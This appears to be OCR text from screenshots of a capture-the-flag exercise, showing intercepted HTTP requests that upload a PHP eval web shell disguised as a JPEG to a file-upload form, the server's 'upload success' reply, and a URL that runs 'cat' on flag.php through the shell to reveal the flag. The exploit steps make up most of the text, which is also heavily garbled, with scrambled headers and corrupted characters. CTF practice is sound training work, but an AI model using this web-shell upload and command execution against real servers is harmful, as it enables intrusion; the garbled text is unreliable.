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Request

J Raw I Params I Headers T Hex 1

POST findex.php HTTP/1.1
Host: 111.198.29.45:44893

Accept-Encoding: gzip, deflate

Content-Length: 220

Origin: http://111.198.29.45:44893
Connection: close

Referer: http:y//111.198.29.45:44893 findex.php
Upgrade-Insecure-Requests: 1

----------------------------- 191691572411478
Content-Type:image/jpeq

<?php @eval($_REQUEST[peak]);?=
----------------------------- 19169157 241147 8--

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wined; x64; rvi71.0) Gecko/20100101 Firefox/71.0
Accept: text/htmlapplication/<html+xml,application/mlq=0.9,7/%q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-T\W;q=0.7 zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Content-Type: multipart/form-data; boundary=--------—-—————ocmecee- 191691572411478

Content-Disposition: form-data; name="upfile"; flename={"1jpg"| #51.jpglEeix.php
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Target: http://111.198.29.45:44893 | || 7

Response

Raw | Headers | Hex

POST /index.php HTTP/1.1
Host: 111.198.29.45:44893

Accept: text/htmlapplication/<html+xmlapplication/xml;q=0.9,%/%q9=0.8
Accept-Encoding: gzip, deflate

Content-Length: 220

Origin: http://111.198.29.45:44893
Connection: close

Referer: http://111.198.29.45:44893 /index.php
Upgrade-Insecure-Requests: 1

191691572411478
Content-Disposition: form-data; name="upfile"; filename= "x.phpr'
Content-Type: image/jpeg

<Iphp @eval($_REQUEST[peak]);?>

User-Agent: Mozilla/5.0 (Windows NT 10.0; '\NinG4; x64; rv:i71.0) Gecko/20100101 Firefox,/71.0
Accept-Language: zh-CN,zh;q=0.8zh-TW;q=0.7 zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Content-Type: multipart/form-data; boundary=-------—----—-———--- oo~ 191691572411478

e

HTTP/1.1 200 OK

Date: Sat, 29 Feb 2020 03:32:33 GMT
Server: Apache/24.25 (Debian)
X-Powered-By: PHP/5.6.37

“ary: Accept-Encoding

Content-Length: 956

Connection: close

Content-Type: text/html; charset=UTF-8

Iupload cuccess : upload/1582947153.x.php I
<IDoctype htmi>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<scrpt type="text/javascript”>
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1 <?php

2 3flag="cyberpeace{88edc8a2baB49534718cb7b
3 >
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191691572411478--
Array.prototype.contains = function (obj) {
war i = this.length;
while (i--) { r
if (this]i] === obj) { |
return true; |
@ =R o X
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cr - 0 -
Mvar/www/html/flag.php
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a @ #a view-source:http://111.198.29.45:44893/upload/1582947153 x.php?peak=system(cat fvar/www/html/flag.php *);

<?php
$rlag="cyberpeace {08edc8a2ba849534718cb7b4c61a2036} ”;
2>
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